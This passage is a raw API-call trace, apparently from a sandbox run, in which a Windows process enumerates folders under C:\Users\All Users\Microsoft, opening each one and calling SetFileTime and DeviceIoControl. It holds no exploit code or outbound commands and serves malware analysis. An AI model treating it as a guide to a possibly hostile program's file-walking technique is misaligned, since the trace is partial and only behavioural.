ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddce9217, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile42.bmp", cAlternateFileName="")) returned 1 [0091.841] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae653943, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae653943, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddd0f375, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile43.bmp", cAlternateFileName="")) returned 1 [0091.841] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae679aa0, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae679aa0, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddd354d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile44.bmp", cAlternateFileName="")) returned 1 [0091.841] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xae679aa0, ftCreationTime.dwHighDateTime=0x1ca040d, ftLastAccessTime.dwLowDateTime=0xae679aa0, ftLastAccessTime.dwHighDateTime=0x1ca040d, ftLastWriteTime.dwLowDateTime=0xddd354d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="usertile44.bmp", cAlternateFileName="")) returned 0 [0091.841] GetLastError () returned 0x12 [0091.842] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x135a460) returned 1 [0091.843] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0091.844] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x135a568) returned 1 [0091.845] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x135a358) returned 1 [0091.845] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="guest.bmp", cAlternateFileName="")) returned 1 [0091.845] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="user.bmp", cAlternateFileName="")) returned 1 [0091.845] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80340916, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bed1018, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bed1018, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xc038, dwReserved0=0x0, dwReserved1=0x0, cFileName="user.bmp", cAlternateFileName="")) returned 0 [0091.845] GetLastError () returned 0x12 [0091.845] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.845] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0091.845] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1340e10) returned 1 [0091.846] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.846] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xc602eec6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Vault", cAlternateFileName="")) returned 1 [0091.846] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Vault" (normalized: "c:\\users\\all users\\microsoft\\vault"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xc602eec6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.846] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Vault" (normalized: "c:\\users\\all users\\microsoft\\vault"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0091.846] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0091.846] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.847] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0091.847] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.847] NtClose (Handle=0x17c) returned 0x0 [0091.847] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.847] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.847] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.848] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.848] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9180 [0091.848] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xc602eec6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.848] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xc602eec6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0091.848] GetLastError () returned 0x12 [0091.848] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Vault\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f80 [0091.848] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0091.848] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xc602eec6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.848] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xc602eec6, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0091.848] GetLastError () returned 0x12 [0091.849] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.849] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0091.849] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.849] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.849] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80ac5760, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIO", cAlternateFileName="")) returned 1 [0091.849] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.849] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\VISIO" (normalized: "c:\\users\\all users\\microsoft\\visio"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80ac5760, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0091.850] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\VISIO" (normalized: "c:\\users\\all users\\microsoft\\visio"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0091.851] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0091.851] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.851] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0091.851] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.851] NtClose (Handle=0x174) returned 0x0 [0091.852] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.852] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.852] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.852] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.852] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\VISIO\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f80 [0091.852] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80ac5760, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.852] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80ac5760, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0091.853] GetLastError () returned 0x12 [0091.853] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\VISIO\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9180 [0091.853] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0091.853] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80ac5760, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.853] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x80ac5760, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0091.853] GetLastError () returned 0x12 [0091.853] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fafd0) returned 1 [0091.853] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0091.853] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fb058) returned 1 [0091.854] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.854] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0091.854] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.854] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows" (normalized: "c:\\users\\all users\\microsoft\\windows"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0091.854] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Windows" (normalized: "c:\\users\\all users\\microsoft\\windows"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x17c [0091.854] SetFileTime (hFile=0x17c, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0091.854] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x12547c8 [0091.855] DeviceIoControl (in: hDevice=0x17c, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x12547c8, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x12547c8, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0091.855] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12547c8) returned 1 [0091.855] NtClose (Handle=0x17c) returned 0x0 [0091.855] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0091.855] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0091.856] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fb058 [0091.856] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fafd0 [0091.856] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9180 [0091.856] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0091.856] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xd5be7172, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AIT", cAlternateFileName="")) returned 1 [0091.856] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x283ea490, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x9b86da60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x9b86da60, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Caches", cAlternateFileName="")) returned 1 [0091.856] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9b5b52, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9b5b52, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd9b5b52, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DeviceMetadataStore", cAlternateFileName="")) returned 1 [0091.856] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRM", cAlternateFileName="")) returned 1 [0091.856] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaeea3462, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GameExplorer", cAlternateFileName="")) returned 1 [0091.856] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80e53620, ftLastAccessTime.dwHighDateTime=0x1d305f5, ftLastWriteTime.dwLowDateTime=0x80e53620, ftLastWriteTime.dwHighDateTime=0x1d305f5, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Power Efficiency Diagnostics", cAlternateFileName="")) returned 1 [0091.856] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7fffaad0, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Ringtones", cAlternateFileName="")) returned 1 [0091.857] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x60ae73a0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x60ae73a0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0x60ae73a0, ftLastWriteTime.dwHighDateTime=0x1d2de2a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Sqm", cAlternateFileName="")) returned 1 [0091.857] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1cc35f15, ftLastAccessTime.dwHighDateTime=0x1ca0440, ftLastWriteTime.dwLowDateTime=0x1cc35f15, ftLastWriteTime.dwHighDateTime=0x1ca0440, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="")) returned 1 [0091.857] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd9dbcac, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaeea3462, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="")) returned 1 [0091.857] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda01e06, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfda01e06, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WER", cAlternateFileName="")) returned 1 [0091.857] FindNextFileW (in: hFindFile=0x2e9180, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd9dbcac, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfda01e06, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfda01e06, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WER", cAlternateFileName="")) returned 0 [0091.857] GetLastError () returned 0x12 [0091.857] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Windows\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e8f80 [0091.857] FindClose (in: hFindFile=0x2e9180 | out: hFindFile=0x2e9180) returned 1 [0091.857] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ef54 | out: 